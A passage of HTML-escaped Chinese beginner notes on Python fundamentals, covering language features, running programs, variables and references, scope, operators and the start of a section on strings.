&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;速度&lt;/strong&gt;：编译比解释型快&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跨平台性&lt;/strong&gt;：解释比编译跨好&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;（二）Python 特点&lt;/h4&gt;
&lt;h5&gt;1、完全面向对象的语言&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;函数、模块、数字、字符串&lt;/strong&gt;都是对象，&lt;strong&gt;Python中一切皆对象&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;完全支持继承、重载、多重继承&lt;/p&gt;
&lt;p&gt;支持重载运算符，也支持泛型设计&lt;/p&gt;
&lt;h5&gt;2、拥有一个强大的标准库&lt;/h5&gt;
&lt;p&gt;Python标准库提供了 &lt;strong&gt;系统管理、网络通信、文本处理、数据库接口、图形系统、XML 处理&lt;/strong&gt; 等额外的功能&lt;/p&gt;
&lt;h5&gt;3、有大量的第三方模块&lt;/h5&gt;
&lt;p&gt;使用方式与标准库类似。它们的功能覆盖 &lt;strong&gt;科学计算、人工智能、机器学习、Web 开发、数据库接口、图形系统&lt;/strong&gt; 多个领域&lt;/p&gt;
&lt;h4&gt;（三）面向对象的思维方式&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;面向对象&lt;/strong&gt; 是一种 &lt;strong&gt;思维方式&lt;/strong&gt;，也是一门 &lt;strong&gt;程序设计技术&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;要解决一个问题前，首先考虑 &lt;strong&gt;由谁&lt;/strong&gt; 来做，怎么做事情是 &lt;strong&gt;谁&lt;/strong&gt; 的职责，最后把事情做好就行！&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;对象&lt;/strong&gt; 就是 &lt;strong&gt;谁&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;要解决复杂的问题，就可以找&lt;strong&gt;多个不同的对象&lt;/strong&gt;，&lt;strong&gt;各司其职&lt;/strong&gt;，共同实现，最终完成需求
先找一个可以完成功能的对象，并且使用对象所提供的能力来解决问题&lt;/p&gt;
&lt;h4&gt;（四）Python 的优缺点&lt;/h4&gt;
&lt;h5&gt;（1）优点&lt;/h5&gt;
&lt;p&gt;1、简单、易学&lt;/p&gt;
&lt;p&gt;2、免费、开源&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3、面向对象&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;4、丰富的库&lt;/p&gt;
&lt;p&gt;5、可扩展性
1&amp;gt;如果需要一段关键代码运行得更快或者希望某些算法不公开，可以把这部分程序用 &lt;strong&gt;C&lt;/strong&gt; 或 &lt;strong&gt;C++&lt;/strong&gt; 编写，然后在 &lt;strong&gt;Python&lt;/strong&gt; 程序中使用它们&lt;/p&gt;
&lt;h5&gt;（2）缺点&lt;/h5&gt;
&lt;p&gt;1、运行速度差一点&lt;/p&gt;
&lt;p&gt;2、国内市场较小&lt;/p&gt;
&lt;p&gt;3、中文资料匮乏&lt;/p&gt;
&lt;h4&gt;（五）执行 python 程序的三种方式&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;解释器 —— &lt;code&gt;python&lt;/code&gt; / &lt;code&gt;python3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;交互式 —— &lt;code&gt;ipython&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;集成开发环境 —— &lt;code&gt;PyCharm&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;注：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;可以&lt;strong&gt;使用任意文本编辑软件&lt;/strong&gt;做 &lt;code&gt;Python&lt;/code&gt; 的开发&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文件扩展名&lt;/strong&gt; 通常都是 &lt;code&gt;.py&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;（1）单词列表&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;* error 错误
* name 名字
* defined 已经定义
* syntax 语法
* invalid 无效
* Indentation 索引
* unexpected 意外的，不期望的
* character 字符
* line 行
* encoding 编码
* declared 声明
* details 细节，详细信息
* ASCII 一种字符编码
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;（2）python的运行方式&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Python 的解释器&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用 python 2.x 解释器
$ python xxx.py

# 使用 python 3.x 解释器
$ python3 xxx.py
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;（3）交互式运行 Python 程序&lt;/h5&gt;
&lt;p&gt;1、直接在终端中运行解释器，而不输入要执行的文件名&lt;/p&gt;
&lt;p&gt;2、在 Python 的 &lt;strong&gt;Shell&lt;/strong&gt; 中直接输入 Python 的代码，会立即看到程序执行结果&lt;/p&gt;
&lt;h6&gt;1)交互式运行 Python 的优缺点&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;1.优点&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;适合于学习/验证 Python 语法或者局部代码&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.缺点&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1&amp;gt;代码不能保存&lt;/p&gt;
&lt;p&gt;2&amp;gt;不适合运行太大的程序&lt;/p&gt;
&lt;h6&gt;2)退出 官方的解释器&lt;/h6&gt;
&lt;h6&gt;1&amp;gt; 直接输入 &lt;code&gt;exit()&lt;/code&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; exit()
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2&amp;gt; 使用热键退出&lt;/h6&gt;
&lt;p&gt;按热键 &lt;code&gt;ctrl + d&lt;/code&gt; 可以退出解释器&lt;/p&gt;
&lt;h3&gt;2、变量&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;程序就是用来处理数据的，而变量就是用来存储数据的&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;（一）变量类型&lt;/h4&gt;
&lt;p&gt;Python 中数据类型可以分为 &lt;strong&gt;数字型&lt;/strong&gt; 和 &lt;strong&gt;非数字型&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;1.数字型&lt;/h5&gt;
&lt;p&gt;​    整型 (&lt;strong&gt;int&lt;/strong&gt;)&lt;/p&gt;
&lt;p&gt;​    浮点型（&lt;strong&gt;float&lt;/strong&gt;）&lt;/p&gt;
&lt;p&gt;​    布尔型（&lt;strong&gt;bool&lt;/strong&gt;）
​        真 &lt;strong&gt;True&lt;/strong&gt; &lt;strong&gt;非 0 数&lt;/strong&gt; —— &lt;strong&gt;非零即真&lt;/strong&gt;
​        假 &lt;strong&gt;False&lt;/strong&gt; &lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    复数型 (&lt;strong&gt;complex&lt;/strong&gt;)
​        主要用于科学计算，例如：平面场问题、波动问题、电感电容等问题&lt;/p&gt;
&lt;h5&gt;2.非数字型&lt;/h5&gt;
&lt;p&gt;​    字符串&lt;/p&gt;
&lt;p&gt;​    列表&lt;/p&gt;
&lt;p&gt;​    元组&lt;/p&gt;
&lt;p&gt;​    字典&lt;/p&gt;
&lt;p&gt;在 &lt;strong&gt;Python&lt;/strong&gt; 中，所有 &lt;strong&gt;非数字型变量&lt;/strong&gt; 都支持以下特点：&lt;/p&gt;
&lt;p&gt;​    都是一个 序列 &lt;strong&gt;sequence&lt;/strong&gt;，也可以理解为 &lt;strong&gt;容器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    取值 &lt;strong&gt;[]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    遍历 &lt;strong&gt;for in&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    计算长度、最大/最小值、比较、删除&lt;/p&gt;
&lt;p&gt;​    链接 &lt;strong&gt;+&lt;/strong&gt; 和 重复 *****&lt;/p&gt;
&lt;p&gt;​    切片&lt;/p&gt;
&lt;h4&gt;（二）变量定义&lt;/h4&gt;
&lt;p&gt;每个变量 &lt;strong&gt;在使用前都必须赋值&lt;/strong&gt;，变量 &lt;strong&gt;赋值以后&lt;/strong&gt; 该变量 &lt;strong&gt;才会被创建&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;变量名 = 值
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;变量：先定义，后使用&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;（三）变量的类型&lt;/h4&gt;
&lt;p&gt;在内存中创建一个变量，会包括：&lt;/p&gt;
&lt;p&gt;​    1.变量的名称&lt;/p&gt;
&lt;p&gt;​    2.变量保存的数据&lt;/p&gt;
&lt;p&gt;​    3.变量存储数据的类型&lt;/p&gt;
&lt;p&gt;​    4.变量的地址（标示）&lt;/p&gt;
&lt;h5&gt;（1）变量的类型&lt;/h5&gt;
&lt;p&gt;在 &lt;strong&gt;Python&lt;/strong&gt; 中定义变量是 &lt;strong&gt;不需要指定类型&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;数据类型可分为 &lt;strong&gt;数字型&lt;/strong&gt; 和 &lt;strong&gt;非数字型&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;数字型&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    整型 (&lt;strong&gt;int&lt;/strong&gt;)&lt;/p&gt;
&lt;p&gt;​    浮点型（&lt;strong&gt;float&lt;/strong&gt;）&lt;/p&gt;
&lt;p&gt;​    布尔型（&lt;strong&gt;bool&lt;/strong&gt;）
​        真 &lt;strong&gt;True&lt;/strong&gt; &lt;strong&gt;非 0 数&lt;/strong&gt; —— &lt;strong&gt;非零即真&lt;/strong&gt;
​        假 &lt;strong&gt;False&lt;/strong&gt; &lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    复数型 (&lt;strong&gt;complex&lt;/strong&gt;)
​        主要用于科学计算，例如：平面场问题、波动问题、电感电容等问题&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;非数字型&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    字符串&lt;/p&gt;
&lt;p&gt;​    列表&lt;/p&gt;
&lt;p&gt;​    元组&lt;/p&gt;
&lt;p&gt;​    字典&lt;/p&gt;
&lt;h5&gt;（2）不同类型变量之间的计算&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;1.数字型变量 之间可以直接计算&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 Python 中，两个数字型变量是可以直接进行算数运算的&lt;/p&gt;
&lt;p&gt;如果变量是 &lt;strong&gt;bool&lt;/strong&gt; 型，在计算时&lt;/p&gt;
&lt;p&gt;​    &lt;strong&gt;True&lt;/strong&gt; 对应的数字是 &lt;strong&gt;1&lt;/strong&gt;
​    &lt;strong&gt;False&lt;/strong&gt; 对应的数字是 &lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2.&lt;strong&gt;字符串变量&lt;/strong&gt; 之间使用 &lt;strong&gt;+&lt;/strong&gt; 拼接字符串&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;字符串变量&lt;/strong&gt; 可以和 &lt;strong&gt;整数&lt;/strong&gt; 使用 * 重复拼接相同的字符串&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;数字型变量&lt;/strong&gt; 和 &lt;strong&gt;字符串&lt;/strong&gt; 之间 &lt;strong&gt;不能进行其他计算&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;（3）变量的输入&lt;/h5&gt;
&lt;p&gt;所谓 &lt;strong&gt;输入&lt;/strong&gt;，就是 &lt;strong&gt;用代码 获取&lt;/strong&gt; 用户通过 &lt;strong&gt;键盘&lt;/strong&gt; 输入的信息&lt;/p&gt;
&lt;p&gt;在 Python 中，使用 &lt;strong&gt;input&lt;/strong&gt; 函数&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;input 函数实现键盘输入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 Python 中可以使用 &lt;strong&gt;input&lt;/strong&gt; 函数从键盘等待用户的输入&lt;/p&gt;
&lt;p&gt;用户输入的 &lt;strong&gt;任何内容&lt;/strong&gt; Python 都认为是一个 字符串&lt;/p&gt;
&lt;p&gt;语法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;字符串变量 = input(&quot;提示信息：&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;（4）变量的格式化输出&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;格式化操作符&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;%&lt;/strong&gt; 被称为&lt;strong&gt;格式化操作符&lt;/strong&gt;，专门用于处理字符串中的格式&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;2.包含 &lt;strong&gt;%&lt;/strong&gt; 的字符串，被称为 &lt;strong&gt;格式化字符串&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;%&lt;/strong&gt; 和不同的 &lt;strong&gt;字符&lt;/strong&gt; 连用，&lt;strong&gt;不同类型的数据&lt;/strong&gt; 需要使用 &lt;strong&gt;不同的格式化字符&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/cf96080dd5-1698934058111.png&quot; alt=&quot;1698934058111&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法格式如下：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;print(&quot;格式化字符串&quot; % 变量1)

print(&quot;格式化字符串&quot; % (变量1, 变量2...))
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;（四）标识符和关键字&lt;/h4&gt;
&lt;h5&gt;（1）标识符&lt;/h5&gt;
&lt;p&gt;标示符就是程序员定义的 &lt;strong&gt;变量名、函数名&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;名字&lt;/strong&gt; 要 &lt;strong&gt;见名知义&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1.标示符可以由 &lt;strong&gt;字母、下划线&lt;/strong&gt; 和 &lt;strong&gt;数字&lt;/strong&gt; 组成&lt;/p&gt;
&lt;p&gt;2.&lt;strong&gt;不能以数字开头&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3.&lt;strong&gt;不能与关键字重名&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;（2）关键字&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;关键字&lt;/strong&gt; 就是在 &lt;strong&gt;Python&lt;/strong&gt; 内部已经使用的标识符&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键字&lt;/strong&gt; 具有特殊的功能和含义&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;不允许定义和关键字相同的名字的标示符&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;（五）变量的命名规则&lt;/h4&gt;
&lt;p&gt;注意 &lt;strong&gt;Python&lt;/strong&gt; 中的 标识符 是 区分大小写的&lt;/p&gt;
&lt;p&gt;1.在定义变量时，为了保证代码格式，&lt;strong&gt;=&lt;/strong&gt; 的左右应该各保留一个空格&lt;/p&gt;
&lt;p&gt;2.在 &lt;strong&gt;Python&lt;/strong&gt; 中，如果 &lt;strong&gt;变量名&lt;/strong&gt; 需要由 &lt;strong&gt;二个&lt;/strong&gt; 或 &lt;strong&gt;多个单词&lt;/strong&gt; 组成时，可以按照以下方式命名&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1）每个单词都使用小写字母&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2）小驼峰式命名法&lt;/strong&gt;
第一个单词以小写字母开始，后续单词的首字母大写&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3）大驼峰式命名法&lt;/strong&gt;
每一个单词的首字母都采用大写字母&lt;/p&gt;
&lt;h4&gt;（六）变量进阶&lt;/h4&gt;
&lt;h5&gt;（1）变量的引用&lt;/h5&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;变量和数据 都是保存在 &lt;strong&gt;内存&lt;/strong&gt; 中的&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;Python&lt;/code&gt; 中 &lt;strong&gt;函数 的 参数传递&lt;/strong&gt; 以及 &lt;strong&gt;返回值&lt;/strong&gt; 都是靠 &lt;strong&gt;引用&lt;/strong&gt; 传递的&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h6&gt;1）引用的概念&lt;/h6&gt;
&lt;p&gt;在 &lt;strong&gt;Python&lt;/strong&gt; 中 ：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;变量&lt;/strong&gt; 和 &lt;strong&gt;数据&lt;/strong&gt; 是分开存储的&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;数据&lt;/strong&gt; 保存在内存中的一个位置&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;变量&lt;/strong&gt; 中保存着数据在内存中的地址&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;变量&lt;/strong&gt; 中 &lt;strong&gt;记录数据的地址&lt;/strong&gt;，即 &lt;strong&gt;引用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 &lt;strong&gt;id()&lt;/strong&gt; 函数查看变量中保存数据所在的 &lt;strong&gt;内存地址&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;**注意：**若变量已被定义，当给一个变量赋值的时候，本质上是 &lt;strong&gt;修改了数据的引用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    1.变量 &lt;strong&gt;不再&lt;/strong&gt; 对之前的数据引用&lt;/p&gt;
&lt;p&gt;​    2.变量 &lt;strong&gt;改为&lt;/strong&gt; 对新赋值的数据引用&lt;/p&gt;
&lt;h6&gt;2）函数的参数和返回值的传递&lt;/h6&gt;
&lt;p&gt;在 &lt;strong&gt;Python&lt;/strong&gt; 中，函数的 &lt;strong&gt;实参/返回值&lt;/strong&gt; 都是是靠 &lt;strong&gt;引用&lt;/strong&gt; 来传递来的&lt;/p&gt;
&lt;h5&gt;（2）可变和不可变类型&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;不可变类型&lt;/strong&gt;，内存中的数据不允许被修改：&lt;/p&gt;
&lt;p&gt;​    1.数字类型 &lt;strong&gt;int, bool, float, complex, long(2.x)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    2.字符串 &lt;strong&gt;str&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    3.元组 &lt;strong&gt;tuple&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可变类型&lt;/strong&gt;，内存中的数据可以被修改：&lt;/p&gt;
&lt;p&gt;​    1.列表 &lt;strong&gt;list&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    2.字典 &lt;strong&gt;dict&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;注意：字典的 &lt;strong&gt;key&lt;/strong&gt; &lt;strong&gt;只能使用不可变类型的数据&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1.&lt;strong&gt;可变类型&lt;/strong&gt;的数据变化，是通过 &lt;strong&gt;方法&lt;/strong&gt; 来实现的&lt;/p&gt;
&lt;p&gt;2.若给一个可变类型的变量，赋值了一个新的数据，&lt;strong&gt;引用会修改&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    变量 &lt;strong&gt;不再&lt;/strong&gt; 对之前的数据引用&lt;/p&gt;
&lt;p&gt;​    变量 &lt;strong&gt;改为&lt;/strong&gt; 对新赋值的数据引用&lt;/p&gt;
&lt;h5&gt;（3）哈希 (hash)&lt;/h5&gt;
&lt;p&gt;1.&lt;strong&gt;Python&lt;/strong&gt; 中内置有一个名字叫做 &lt;strong&gt;hash(o)&lt;/strong&gt; 的函数&lt;/p&gt;
&lt;p&gt;​    接收一个 &lt;strong&gt;不可变类型&lt;/strong&gt; 的数据作为 &lt;strong&gt;参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    &lt;strong&gt;返回&lt;/strong&gt; 结果是一个 &lt;strong&gt;整数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2.&lt;strong&gt;哈希&lt;/strong&gt; 是一种 &lt;strong&gt;算法&lt;/strong&gt;，其作用就是提取数据的 &lt;strong&gt;特征码（指纹）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    &lt;strong&gt;相同的内容&lt;/strong&gt; 得到 &lt;strong&gt;相同的结果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    &lt;strong&gt;不同的内容&lt;/strong&gt; 得到 &lt;strong&gt;不同的结果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3.在 &lt;strong&gt;Python&lt;/strong&gt; 中，设置字典的 &lt;strong&gt;键值对&lt;/strong&gt; 时，会首先对 &lt;strong&gt;key&lt;/strong&gt; 进行 &lt;strong&gt;hash&lt;/strong&gt; 已决定如何在内存中保存字典的数据，以方便 &lt;strong&gt;后续&lt;/strong&gt; 对字典的操作：&lt;strong&gt;增、删、改、查&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​    &lt;strong&gt;key&lt;/strong&gt; 必须是不可变类型数据&lt;/p&gt;
&lt;p&gt;​    &lt;strong&gt;value&lt;/strong&gt; 可以是任意类型的数据&lt;/p&gt;
&lt;h5&gt;（4）局部变量和全局变量&lt;/h5&gt;
&lt;p&gt;1.&lt;strong&gt;局部变量&lt;/strong&gt; 是在 &lt;strong&gt;函数内部&lt;/strong&gt; 定义的变量，&lt;strong&gt;只能在函数内部使用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2.&lt;strong&gt;全局变量&lt;/strong&gt; 是在 &lt;strong&gt;函数外部定义&lt;/strong&gt; 的变量（没有定义在某一个函数内），&lt;strong&gt;所有函数&lt;/strong&gt; 内部 &lt;strong&gt;都可以使用这个变量&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;1）局部变量&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;1.局部变量&lt;/strong&gt; 是在 &lt;strong&gt;函数内部&lt;/strong&gt; 定义的变量，&lt;strong&gt;只能在函数内部使用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2.函数执行结束后，&lt;strong&gt;局部变量，会被系统回收&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3.不同的函数，可以定义相同的名字的局部变量，但是 &lt;strong&gt;彼此之间&lt;/strong&gt; 不会产生影响&lt;/p&gt;
&lt;h6&gt;2）局部变量的作用&lt;/h6&gt;
&lt;p&gt;在函数内部使用，&lt;strong&gt;临时&lt;/strong&gt; 保存 &lt;strong&gt;函数内部需要使用的数据&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;3）局部变量的生命周期&lt;/h6&gt;
&lt;p&gt;1.所谓 &lt;strong&gt;生命周期&lt;/strong&gt; 就是变量从 &lt;strong&gt;被创建&lt;/strong&gt; 到 &lt;strong&gt;被系统回收&lt;/strong&gt; 的过程&lt;/p&gt;
&lt;p&gt;2.&lt;strong&gt;局部变量&lt;/strong&gt; 在 &lt;strong&gt;函数执行时&lt;/strong&gt; 才会被创建&lt;/p&gt;
&lt;p&gt;3.&lt;strong&gt;函数执行结束后&lt;/strong&gt; 局部变量 &lt;strong&gt;被系统回收&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;4.&lt;strong&gt;局部变量在生命周期&lt;/strong&gt; 内，可以用来存储 &lt;strong&gt;函数内部临时使用到的数据&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;4）全局变量&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;全局变量&lt;/strong&gt; 是在 &lt;strong&gt;函数外部定义&lt;/strong&gt; 的变量，所有函数内部都可以使用这个变量&lt;/p&gt;
&lt;p&gt;**注意：**函数执行时，&lt;strong&gt;需要处理变量时&lt;/strong&gt; 会：&lt;/p&gt;
&lt;p&gt;1.&lt;strong&gt;首先&lt;/strong&gt; 查找 &lt;strong&gt;函数内部&lt;/strong&gt; 是否存在 &lt;strong&gt;指定名称 的局部变量，如果有，直接使用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2.若没有，查找 &lt;strong&gt;函数外部&lt;/strong&gt; 是否存在 &lt;strong&gt;指定名称 的全局变量，如果有，直接使用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3.若还没有，程序报错！&lt;/p&gt;
&lt;h6&gt;5)函数不能直接修改全局变量的引用&lt;/h6&gt;
&lt;p&gt;1.&lt;strong&gt;全局变量&lt;/strong&gt; 是在 &lt;strong&gt;函数外部定义&lt;/strong&gt; 的变量（没有定义在某一个函数内），&lt;strong&gt;所有函数&lt;/strong&gt; 内部 &lt;strong&gt;都可以使用这个变量&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2.在函数内部，可以 &lt;strong&gt;通过全局变量的引用获取对应的数据&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3.但是，&lt;strong&gt;不允许直接修改全局变量的引用&lt;/strong&gt; —— 使用赋值语句修改全局变量的值&lt;/p&gt;
&lt;p&gt;**注：**只是在函数内部定义了一个局部变量而已，只是变量名相同 —— 在函数内部不能直接修改全局变量的值&lt;/p&gt;
&lt;h6&gt;6)在函数内部修改全局变量的值&lt;/h6&gt;
&lt;p&gt;若在函数中需要修改全局变量，需要使用 &lt;strong&gt;global&lt;/strong&gt; 进行声明&lt;/p&gt;
&lt;h6&gt;7)全局变量定义的位置&lt;/h6&gt;
&lt;p&gt;将全局变量定义在其他函数的上方&lt;/p&gt;
&lt;h3&gt;3、运算符&lt;/h3&gt;
&lt;h5&gt;（一）算数运算符&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;是完成基本的算术运算使用的符号，用来处理四则运算&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/6d89fef466-1698936103479.png&quot; alt=&quot;1698936103479&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 Python 中 &lt;code&gt;*&lt;/code&gt; 还可以用于字符串，结果是字符串重复指定次数的结果&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;优先级&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;先乘除后加减&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;同级运算符是 &lt;strong&gt;从左至右&lt;/strong&gt; 计算&lt;/li&gt;
&lt;li&gt;可以使用 &lt;code&gt;()&lt;/code&gt; 调整计算的优先级&lt;/li&gt;
&lt;li&gt;算数优先级由高到最低顺序排列&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/96d69fca35-1698936145832.png&quot; alt=&quot;1698936145832&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;（二）比较（关系）运算符&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/afe7c36413-1698936280037.png&quot; alt=&quot;1698936280037&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Python 2.x 中判断 &lt;strong&gt;不等于&lt;/strong&gt; 还可以使用 &lt;strong&gt;&amp;lt; &amp;gt;&lt;/strong&gt; 运算符&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;! =&lt;/strong&gt; 在 Python 2.x 中同样可以用来判断 &lt;strong&gt;不等于&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;（三）逻辑运算符&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/9ace8cced7-1698936410334.png&quot; alt=&quot;1698936410334&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;（四）赋值运算符&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;注：&lt;strong&gt;赋值运算符中间不能使用空格&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/db48245525-1698936443337.png&quot; alt=&quot;1698936443337&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;（五）运算符的优先级&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;表格算数优先级由高到最低顺序排列&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/3548d89b36-1698936477812.png&quot; alt=&quot;1698936477812&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;4、字符串&lt;/h3&gt;
&lt;h5&gt;（一）字符串的定义&lt;/h5&gt;
&lt;p&gt;1.&lt;strong&gt;字符串&lt;/strong&gt; 就是 &lt;strong&gt;一串字符&lt;/strong&gt;，是编程语言中表示文本的数据类型&lt;/p&gt;
&lt;p&gt;2.在 Python 中可以使用 &lt;strong&gt;一对双引号 &quot;&lt;/strong&gt; 或者 &lt;strong&gt;一对单引号 &apos;&lt;/strong&gt; 定义一个字符串&lt;/p&gt;
&lt;p&gt;​    虽然可以使用 &lt;strong&gt;\&quot;&lt;/strong&gt; 或者 &lt;strong&gt;\&apos;&lt;/strong&gt; 做字符串的转义，但在实际开发中：&lt;/p&gt;
